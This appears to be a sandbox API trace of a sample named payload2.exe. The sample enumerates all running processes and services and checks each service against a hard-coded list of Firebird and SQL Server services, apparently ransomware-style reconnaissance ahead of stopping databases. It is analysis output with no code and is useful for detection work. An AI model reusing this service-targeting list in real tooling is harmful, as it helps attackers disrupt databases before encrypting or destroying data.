	[0181.949] Process32FirstW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0181.950] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0181.950] lstrlenW (lpString="System") returned 6
	[0181.951] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0181.951] lstrlenW (lpString="smss.exe") returned 8
	[0181.951] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0181.952] lstrlenW (lpString="csrss.exe") returned 9
	[0181.952] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0181.953] lstrlenW (lpString="wininit.exe") returned 11
	[0181.953] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0181.954] lstrlenW (lpString="csrss.exe") returned 9
	[0181.954] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0181.954] lstrlenW (lpString="winlogon.exe") returned 12
	[0181.954] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0181.955] lstrlenW (lpString="services.exe") returned 12
	[0181.955] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0181.955] lstrlenW (lpString="lsass.exe") returned 9
	[0181.956] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0181.956] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0181.956] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0181.957] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0181.957] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.957] lstrlenW (lpString="svchost.exe") returned 11
	[0181.957] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.958] lstrlenW (lpString="svchost.exe") returned 11
	[0181.958] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0181.958] lstrlenW (lpString="dwm.exe") returned 7
	[0181.958] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.959] lstrlenW (lpString="svchost.exe") returned 11
	[0181.959] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.959] lstrlenW (lpString="svchost.exe") returned 11
	[0181.960] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.960] lstrlenW (lpString="svchost.exe") returned 11
	[0181.960] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.961] lstrlenW (lpString="svchost.exe") returned 11
	[0181.961] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.961] lstrlenW (lpString="svchost.exe") returned 11
	[0181.961] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.962] lstrlenW (lpString="svchost.exe") returned 11
	[0181.962] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.962] lstrlenW (lpString="svchost.exe") returned 11
	[0181.962] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.963] lstrlenW (lpString="svchost.exe") returned 11
	[0181.963] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.964] lstrlenW (lpString="svchost.exe") returned 11
	[0181.964] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.964] lstrlenW (lpString="svchost.exe") returned 11
	[0181.964] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0181.965] lstrlenW (lpString="spoolsv.exe") returned 11
	[0181.965] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.965] lstrlenW (lpString="svchost.exe") returned 11
	[0181.965] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0181.966] lstrlenW (lpString="audiodg.exe") returned 11
	[0181.966] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0181.966] lstrlenW (lpString="sihost.exe") returned 10
	[0181.967] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.967] lstrlenW (lpString="svchost.exe") returned 11
	[0181.967] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0181.968] lstrlenW (lpString="taskhostw.exe") returned 13
	[0181.968] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0181.968] lstrlenW (lpString="msoia.exe") returned 9
	[0181.968] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0182.217] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0182.217] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0182.218] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0182.218] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0182.218] lstrlenW (lpString="Memory Compression") returned 18
	[0182.218] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0182.219] lstrlenW (lpString="explorer.exe") returned 12
	[0182.219] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0182.220] lstrlenW (lpString="SearchUI.exe") returned 12
	[0182.220] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0182.220] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0182.220] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0182.221] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0182.221] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0182.221] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0182.221] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0182.222] lstrlenW (lpString="payload2.exe") returned 12
	[0182.222] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0182.223] lstrlenW (lpString="cmd.exe") returned 7
	[0182.223] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0182.223] lstrlenW (lpString="conhost.exe") returned 11
	[0182.223] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0182.224] lstrlenW (lpString="consent.exe") returned 11
	[0182.224] Process32NextW (in: hSnapshot=0x5bc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0182.224] CloseHandle (hObject=0x5bc) returned 1
	[0182.224] Sleep (dwMilliseconds=0x1f4) 
	[0183.188] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668290
	[0183.190] EnumServicesStatusExW (in: hSCManager=0x668290, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0183.192] GetLastError () returned 0xea
	[0183.192] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c6cc8
	[0183.192] EnumServicesStatusExW (in: hSCManager=0x668290, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c6cc8, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c6cc8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0183.193] CloseServiceHandle (hSCObject=0x668290) returned 1
	[0183.193] lstrlenW (lpString="Appinfo") returned 7
	[0183.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0183.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0183.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0183.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0183.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0183.193] lstrlenW (lpString="AppXSvc") returned 7
	[0183.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0183.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0183.193] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0183.193] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0183.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0183.194] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0183.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0183.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0183.194] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0183.194] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0183.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0183.194] lstrlenW (lpString="Audiosrv") returned 8
	[0183.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0183.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0183.194] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0183.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0183.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0183.194] lstrlenW (lpString="BFE") returned 3
	[0183.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0183.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0183.194] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0183.194] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0183.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0183.194] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0183.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0183.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0183.194] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0183.194] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0183.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0183.194] lstrlenW (lpString="CDPSvc") returned 6
	[0183.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0183.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0183.194] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0183.194] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0183.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0183.194] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0183.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0183.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0183.195] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0183.195] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0183.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0183.195] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0183.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0183.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0183.195] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0183.195] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0183.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0183.195] lstrlenW (lpString="CryptSvc") returned 8
	[0183.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0183.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0183.195] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0183.195] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0183.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0183.195] lstrlenW (lpString="DcomLaunch") returned 10
	[0183.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0183.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0183.195] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0183.195] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0183.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0183.195] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0183.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0183.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0183.195] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0183.195] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0183.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0183.195] lstrlenW (lpString="Dhcp") returned 4
	[0183.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0183.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0183.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0183.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0183.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0183.196] lstrlenW (lpString="Dnscache") returned 8
	[0183.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0183.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0183.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0183.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0183.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0183.196] lstrlenW (lpString="DPS") returned 3
	[0183.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0183.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0183.196] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0183.196] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0183.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0183.196] lstrlenW (lpString="DsmSvc") returned 6
	[0183.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0183.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0183.196] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0183.196] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0183.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0183.196] lstrlenW (lpString="DusmSvc") returned 7
	[0183.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0183.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0183.196] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0183.196] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0183.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0183.196] lstrlenW (lpString="EventLog") returned 8
	[0183.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0183.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0183.196] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0183.197] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
